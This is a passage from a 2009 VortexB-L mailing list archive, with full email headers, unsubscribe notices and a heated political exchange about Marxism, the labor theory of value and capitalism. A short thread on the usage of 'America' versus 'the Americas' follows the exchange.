to leave their egos out of it > -- and fall back on the very vice they propose to assail. That was priceless. Have fun storming the kapitalist kastle. Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Fri May 22 18:45:50 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N1jmfg005045; Fri, 22 May 2009 18:45:48 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N1jlkY005037; Fri, 22 May 2009 18:45:47 -0700 Resent-Date: Fri, 22 May 2009 18:45:47 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=; b=lI9fcarKakx3BWX/Ye9aE74qYqHMQ76TXv1TSOBRKvMfS5r1h/H4JBIhK4/h8UnnPW C7VzYsZ2Rl291R3zcIC+S2garrcT4QIG3oadzu+Sp4oAbACpGay49WWpVVg9GAon0OG2 TpYB6tWqUdFGXl21b3lKE9G4UCayj+6lJEo/I= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=uSq5AUS9GRZY3euoSEQIQXxH2VGBGJdnlM3sbav6Sc25Ap3idhWvFxY6uKVRPjAH5d UKVavhBcSj3o9qHpZD9rQFMcjeGsXi/yKVi4fEd0L4fJxsXRWrQ1zFukzEqyFk5dH3H1 /Jf4g5z5RXDWZX3ty5iP6N/8FI4OAqqQ0pHMs= MIME-Version: 1.0 Date: Fri, 22 May 2009 20:45:46 -0500 Message-ID: From: OrionWorks To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4060 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: O X-Status: X-Keywords: X-UID: 302 From vortexb-l-request@eskimo.com Fri May 22 19:07:57 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N27sq5008597; Fri, 22 May 2009 19:07:54 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N27rgY008590; Fri, 22 May 2009 19:07:53 -0700 Resent-Date: Fri, 22 May 2009 19:07:53 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 19:07:48 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:unsubscribe Message-ID: <20090523020748.GG15700@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: explicit, FMS, Ashura, IDP, La Orchila User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <_H8ZdD.A.IGC.5p1FKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4061 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 303 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Like I said: typical reaction -- from AFAIC someone who doesn't feel like they have to make the effort. Like many e.g. suburban types in the U.S. who've never really been challenged in their entire lives... Not impressed. At all. However, I DO expect this typical posturing to change, soon enuff. Depressions do work wonders. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXWnQACgkQXo3EtEYbt3Eh1gCfQaHGAdaUiJdsO0qBOHFC709N 6bkAoMYuAs4ETljw5oupFh7KebmL2Oo8 =zBtQ -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 20:10:01 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N39x5v028289; Fri, 22 May 2009 20:09:59 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N39wgd028285; Fri, 22 May 2009 20:09:58 -0700 Resent-Date: Fri, 22 May 2009 20:09:58 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=d0lLNKz2zvnVB14UeUdHM3Zgpli+QoaRX8QyJQya5C8=; b=CWh8KqI8X8wA+7Xtf7mKfvvZ2zHACAFCFZDQ2UTaVCJ+59uIs9xwpdGIEOnsSA5O2U 3swvah0z2V8519/5kF3zDe1bK/u8/Q5CxMG73D0hZdkMQjdFznkt+x3wZ9zMrh+vR1kE RCmCo676R+24LdUbb01n+QBzQa5upIacvjAqk= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=tf7sSbQVgP7EwST5EdYFGZ617nm+PuflKsuJ4jqFP9gIl+IhABcSg4AjJvz/e7qSbl jRb6c+xBYixcd4hXBH/dLYBIZTV5DiXg2BTHeyk6/ClP6+qUz667Mtr/3pAj6B3s2LTF yjSp+AzmTh41ejZdN69r2OaCmGR3A+8gAyubI= MIME-Version: 1.0 In-Reply-To: <4A1716CB.BA9B4CA@centurytel.net> References: <20090521180408.GD1262@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> From: Charles HOPE Date: Fri, 22 May 2009 23:09:37 -0400 Message-ID: <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0016e6d32a1b3c7a25046a8bb61b Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4062 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 304 --0016e6d32a1b3c7a25046a8bb61b Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I'm not sure what I'm supposed to conclude from the LeBron James anecdote, but I personally have found major flaws in the Labor Theory of Value, and have concluded that it's invalid. On Fri, May 22, 2009 at 5:19 PM, Taylor J. Smith wrot= e: > Charles HOPE wrote: > > > > I perceive the gap to be that grok recognizes value as objective, > > while Jeff Fink recognizes value to be subjective. In the former > > case, economic transactions are inherently zero-sum and exploitive, > > whereas in the latter case they are positive sum and mutually > > beneficial. > > Hi All, > > Karl Marx proposed that the value of a manufactured > item is related to the work required to produce it > (the labor theory of value). Mark Twain proposed > that the value of something is what you can sell or > barter it for. See the episode of "Tom Sawyer" > where Tom sells his friends the privilege of > white-washing a fence he had been assigned to paint > by his Aunt. > > Both of these proposals are "objective". Which > do you think is correct? Note that LeBron James > makes more on every pair of Nike shoes sold than > the workers who make the shoes in Indonesia. > > Jack Smith > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0016e6d32a1b3c7a25046a8bb61b Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I'm not sure what I'm supposed to conclude from the LeBron James an= ecdote, but I personally have found major flaws in the Labor Theory of Valu= e, and have concluded that it's invalid.



On Fri, May 22, 2009 at 5:19 PM, Taylor J. Smith <tjs11@centurytel.net> wro= te:
Charles HOPE wrote:
>
> I perceive the gap to be that grok recognizes value as objective,
> while Jeff Fink recognizes value to be subjective. =A0In the former > case, economic transactions are inherently zero-sum and exploitive, > whereas in the latter case they are positive sum and mutually
> beneficial.

Hi All,

Karl Marx proposed that the value of a manufactured
item is related to the work required to produce it
(the labor theory of value). =A0Mark Twain proposed
that the value of something is what you can sell or
barter it for. =A0See the episode of "Tom Sawyer"
where Tom sells his friends the privilege of
white-washing a fence he had been assigned to paint
by his Aunt.

Both of these proposals are "objective". =A0Which
do you think is correct? =A0Note that LeBron James
makes more on every pair of Nike shoes sold than
the workers who make the shoes in Indonesia.

Jack Smith




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0016e6d32a1b3c7a25046a8bb61b-- From vortexb-l-request@eskimo.com Fri May 22 20:13:07 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N3D4Fv004955; Fri, 22 May 2009 20:13:04 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N3CxKa004930; Fri, 22 May 2009 20:12:59 -0700 Resent-Date: Fri, 22 May 2009 20:12:59 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=DYnZflohBcJAouT9c4aTHQR3K45GnaIq58diqsFaYzk=; b=CgZJ1rwuJdXHfl42yJnSYaXiwux3oMqdAKBktmdIVQXJaGtPoejv3RP/CJxyXwhGCT QAW8mvHL2BxANRWMDmjXA6rmsqVE4niKeSwJNrbzK9S0/bxD2ZJAqY1BsGiNu192MaPW P0G9W5PV/Q24lPTX+N1XqJgkh99upHAIYXQ+Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=Pg9aHGTNmRJoH4uPDtZ6mm57Fp3oo7Ovi/Rtu2kLn1zz4mdJWW4qqA+Y4EBNgMQUya Z5py0sYVtxE+fRTpvwpaXo7kA3hKviPHMYzddZCEsf5+Jai5NYmOCCFBAI3o1ExMIfbr pCuVnXQSQhIsICl6y0Uclt72c0k11fL7VsUtI= MIME-Version: 1.0 In-Reply-To: <20090523004610.GC15700@shell.resist.ca> References: <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <20090522190952.GK16769@shell.resist.ca> <63ffa6020905221224m45f89625rc50dfdcdc13d1f27@mail.gmail.com> <20090522202418.GO16769@shell.resist.ca> <63ffa6020905221413v5d261182p3a50caf9a91078ea@mail.gmail.com> <20090523004610.GC15700@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 23:12:35 -0400 Message-ID: <63ffa6020905222012n77b31e9bpd946d2e1acfb0dc5@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0016e6d32a1bd5e132046a8bc078 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4063 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 305 --0016e6d32a1bd5e132046a8bc078 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I still don't see why Marxists, utilizing this economic understanding which is much more accurate than the bourgeois economics, shouldn't be able to outcompete bourgeois firms. A scientific theory which is not applicable? On Fri, May 22, 2009 at 8:46 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Well, finance is a bit more sophisticated than that. > > Ya. They do indeed have swindling down to a fine art, don't they..? > > > > > > But yet, the Marxists understand economics better? Does that make a > Marxist > > education very useful in business? > > Most certainly (not that I'm the expert there). But that's where your > government and > rulng-class come in with their oppression and mass propaganda and dirty > trix and > their deathsquads and mass-murder military might. Etc. > > This is not a fair game played by reasonable rules. > > > - --grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXR1IACgkQXo3EtEYbt3F1ZwCfcnQTQdnUIqBo9eMz7J6gpfY2 > NP4AnjAQhZ2aGLqzyl55g5voEJflts6g > =3DjHsx > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0016e6d32a1bd5e132046a8bc078 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I still don't see why Marxists, utilizing this economic understanding w= hich is much more accurate than the bourgeois economics, shouldn't be a= ble to outcompete bourgeois firms.=A0 A scientific theory which is not appl= icable?



On Fri, May 22, 2009 at 8:46 PM, gro= k <grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Well, finance is a bit more sophisticated than= that.

Ya. They do indeed have swindling down to a fine art, don't they.= .?




> But yet, the Marxists understand economics better? Does that make a Ma= rxist
> education very useful in business?

Most certainly (not that I'm the expert there). But that's wh= ere your government and
rulng-class come in with their oppression and mass propaganda and dirty tri= x and
their deathsquads and mass-murder military might. Etc.

This is not a fair game played by reasonable rules.


- --grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoXR1IACgkQXo3EtEYbt3F1ZwCfcnQTQdnUIqBo9eMz7J6gpfY2
NP4AnjAQhZ2aGLqzyl55g5voEJflts6g
=3DjHsx
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0016e6d32a1bd5e132046a8bc078-- From vortexb-l-request@eskimo.com Fri May 22 20:16:54 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N3GhXC006240; Fri, 22 May 2009 20:16:47 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N3GgmA006229; Fri, 22 May 2009 20:16:42 -0700 Resent-Date: Fri, 22 May 2009 20:16:42 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=664u+5BWATWi+knsd0OfpF6fQ1qRx1mGi5yC5VlDLv0=; b=dGujfRomxRFHOpw6XskR/8PpR6/yVu9AuIKNf48WKIV8hJjDePFtPlxqQe2jKpD4LQ fp0xh7s2jM/zv4SeIKA4VnyrJrUsgEOd6xmFatznaZEeCUrINDJOKRWkp3DnyQv37iQP FtQwxiOltzJmRZE+Nj6kOydIe6s6J4XKBPyXg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=t328Gb/dmgjQE9KFNTx4I9Pt/h49vsJeIdK1wmKji+MbLFb9ZYGSngVTwoyzUE2id6 sNc1aPtAmHt5xRMtmnQXwzWhaU+Dhaxk3hEdzyk9sHmIANpcX7KPtosvglllsYZrZP5J QgjpdNIZuSch7v5R/kqDnqXpn91feAXkyPnk8= MIME-Version: 1.0 In-Reply-To: <20090523002116.GA15700@shell.resist.ca> References: <20090521225405.GJ27687@shell.resist.ca> <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522180620.GD16769@shell.resist.ca> <20090522195914.GN16769@shell.resist.ca> <63ffa6020905221313u614ff7fj924e684149c31a41@mail.gmail.com> <20090523002116.GA15700@shell.resist.ca> From: Charles HOPE Date: Fri, 22 May 2009 23:16:19 -0400 Message-ID: <63ffa6020905222016v3da4cc28s20599894ecee73b3@mail.gmail.com> Subject: Re: [VoB]:Re: [Vo]:China vs US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0016e6d32a1b30cfd5046a8bcef9 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4064 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 306 --0016e6d32a1b30cfd5046a8bcef9 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I have no problem getting beyond the ad hominem ridicule and actually discussing the issues. Have you studied the Labor Theory of Value in detail? Can you defend it? I have studied it, and found it to be rubbish. On Fri, May 22, 2009 at 8:21 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Capitalism is indeed theft if value is objective. Inasmuch as value is > > subjective, Capitalism is the only possible moral and ethical system. > > You'll find that the ground was long ago staked out whereby capitalist > apologists > have categorically denied the marxist "Labor Theory of Value" and posited > their own > (preposterous) "Marginal Utility" theories or whatever. They're very > creative in that > regard... I'll bet you'd have fun googling all that (maybe not). And as > with most > people here so far, most "debates" on the matter seldom get beyond the > 'ridicule the > preposterous marxists' stage. > > And of course, if people like me start making too much sense to too many > people -- in > comes the second line of defence: the goon squads. "Legal" or otherwise. > > Bet you never see THAT on CNN... > I'm really actually quite a brave guy. > ;> > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXQXwACgkQXo3EtEYbt3G4uQCfQdqapJNa6ViLtf5a3jmeD1xV > 17kAnjQic9suoIZc4MOfbE1o6bbcXVSG > =3DcUSN > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0016e6d32a1b30cfd5046a8bcef9 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable I have no problem getting beyond the ad hominem ridicule and actually discu= ssing the issues.=A0 Have you studied the Labor Theory of Value in detail? = Can you defend it? I have studied it, and found it to be rubbish.=A0


On Fri, May 22, 2009 at 8:21 PM, grok <grok@resist.ca>= ; wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Capitalism is indeed theft if value is objecti= ve. =A0Inasmuch as value is
> subjective, Capitalism is the only possible moral and ethical system.<= br>
You'll find that the ground was long ago staked out whereby capit= alist apologists
have categorically denied the marxist "Labor Theory of Value" and= posited their own
(preposterous) "Marginal Utility" theories or whatever. They'= re very creative in that
regard... I'll bet you'd have fun googling all that (maybe not). An= d as with most
people here so far, most "debates" on the matter seldom get beyon= d the 'ridicule the
preposterous marxists' stage.

And of course, if people like me start making too much sense to too many pe= ople -- in
comes the second line of defence: the goon squads. "Legal" or oth= erwise.

Bet you never see THAT on CNN...
I'm really actually quite a brave guy.
;>


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoXQXwACgkQXo3EtEYbt3G4uQCfQdqapJNa6ViLtf5a3jmeD1xV
17kAnjQic9suoIZc4MOfbE1o6bbcXVSG
=3DcUSN
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0016e6d32a1b30cfd5046a8bcef9-- From vortexb-l-request@eskimo.com Fri May 22 20:31:01 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N3Uw7n032459; Fri, 22 May 2009 20:30:58 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N3Uw5I032455; Fri, 22 May 2009 20:30:58 -0700 Resent-Date: Fri, 22 May 2009 20:30:58 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id :disposition-notification-to:date:from:user-agent:mime-version:to :subject:content-type:content-transfer-encoding; bh=47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=; b=HtypEKf1kMy3iDRCqi+MW5/x+UUMKBij4nljLADwiyyfFeApG5o1xfUqYeK/Q733Cb Nq/R0AH8wYBAouVyKwBcTW0r3aDpT5jvUwuS6Le5foZH4tEV79aUG89POiKXOUF0ydr3 VntXRp1MkSxwZ5WWDzJGyW4Rqw2+tT67O8W+8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:disposition-notification-to:date:from:user-agent :mime-version:to:subject:content-type:content-transfer-encoding; b=PIMvwsOKtkgCPgwe9+RYtH/5LBGWR6625tgO2T7zlWLmd/mG/NwTksMnxS08w4trBA eKA4F/MGBJyeA7gk4ZuTYtlZ9Aoi0Ff9udJ6R7K6PAudZiEJHmHiHM+OZVhxDQp3/kxc pqC0xw6lyfKm2S1meuUG2o5eFoXwsjwnsVS5w= Message-ID: <4A176DEC.9040906@gmail.com> Disposition-Notification-To: MJ Date: Sat, 23 May 2009 00:30:52 -0300 From: MJ User-Agent: Thunderbird 2.0.0.21 (Windows/20090302) MIME-Version: 1.0 To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <8otpXD.A._6H.y32FKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4065 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Unsubscribe Status: O X-Status: X-Keywords: X-UID: 307 From vortexb-l-request@eskimo.com Fri May 22 20:55:14 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N3tCpM003432; Fri, 22 May 2009 20:55:12 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N3tB50003428; Fri, 22 May 2009 20:55:11 -0700 Resent-Date: Fri, 22 May 2009 20:55:11 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <1e82361e873a.1e873a1e8236@ncf.ca> Date: Fri, 22 May 2009 23:55:12 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4066 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:America/Americas Status: O X-Status: X-Keywords: X-UID: 308 see: http://en.wikipedia.org/wiki/Americas and scroll down to the "Terminology" section. America/Americas In many parts of the world, America in the singular is commonly used as a name for the United States of America; however, (the) Americas (plural with s and generally with the definite article) invariably refers to the lands and regions of the Western hemisphere. Usage of America to also refer to this collectivity remains fairly common;[48] for example, the International Olympic Committee reckons America as one of the five inhabited continents, which is depicted in the Olympic logo.[49] While many in the United States of America and other countries generally refer to the country as America and US residents/citizens as Americans,[50] many people elsewhere in the Americas resent what they perceive as misappropriation[51] of the term in this context and, thus, this usage is frequently avoided.[52][53][54] In Canada, their southern neighbor is seldom referred to as "America", with the United States, the U.S., or (informally) the States used instead.[53] English dictionaries and compendiums differ regarding usage and rendition.[55] [56][57] From vortexb-l-request@eskimo.com Fri May 22 21:08:09 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N484v2025281; Fri, 22 May 2009 21:08:04 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N484Y8025271; Fri, 22 May 2009 21:08:04 -0700 Resent-Date: Fri, 22 May 2009 21:08:04 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=olTsLond8jhzboMUssrIOxBfsBE71y1zlWByiIv+4Rg=; b=WjVhIu0qjsEBhQ25BhlurqhVji3lpolhZQ00RwqrHY7JUqwZh6wHOOfHlWEUW0FwHr iEYFskNu5PjTYxpuVD4okno51FWpPa10MFzXX4/4UuvQqiqnJXw0W0awU5VSh42/LUQi SJMalVuH21FNLMLpmW3PkCJn+Xm+S04zZ4wEo= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=suIK+J3byMTjXUNZIMbKqGaixRKdeughBxo8o2FD2SfUV8sgmIO6p7OpMfzf4G/Ynm 6l7c/YxofsenMuigX/xaVVZTNFbJdRoAatrqxdLv8cIYDRg9fa7dRq0DwRe5/9DRjYF5 yxG7M7qOkt49pLNAC3rTvf61ky1AP5+/GodKc= MIME-Version: 1.0 In-Reply-To: <1e82361e873a.1e873a1e8236@ncf.ca> References: <1e82361e873a.1e873a1e8236@ncf.ca> From: Charles HOPE Date: Sat, 23 May 2009 00:07:39 -0400 Message-ID: <63ffa6020905222107i7edd532avd88f4e0df4133df1@mail.gmail.com> Subject: Re: [VoB]:America/Americas To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a537c5722e046a8c8524 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4067 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 309 --001636c5a537c5722e046a8c8524 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable The trend in recent years has been to use native naming conventions. Thus, Peking --> Beijing, Bombay --> Mumbai, Oriental --> Asian, etc. On Fri, May 22, 2009 at 11:55 PM, Harry Veeder wrote: > > see: > > http://en.wikipedia.org/wiki/Americas > > and scroll down to the "Terminology" section. > > America/Americas > > In many parts of the world, America in the singular is commonly used > as a name for the United States of America; however, (the) Americas > (plural with s and generally with the definite article) invariably > refers to the lands and regions of the Western hemisphere. Usage 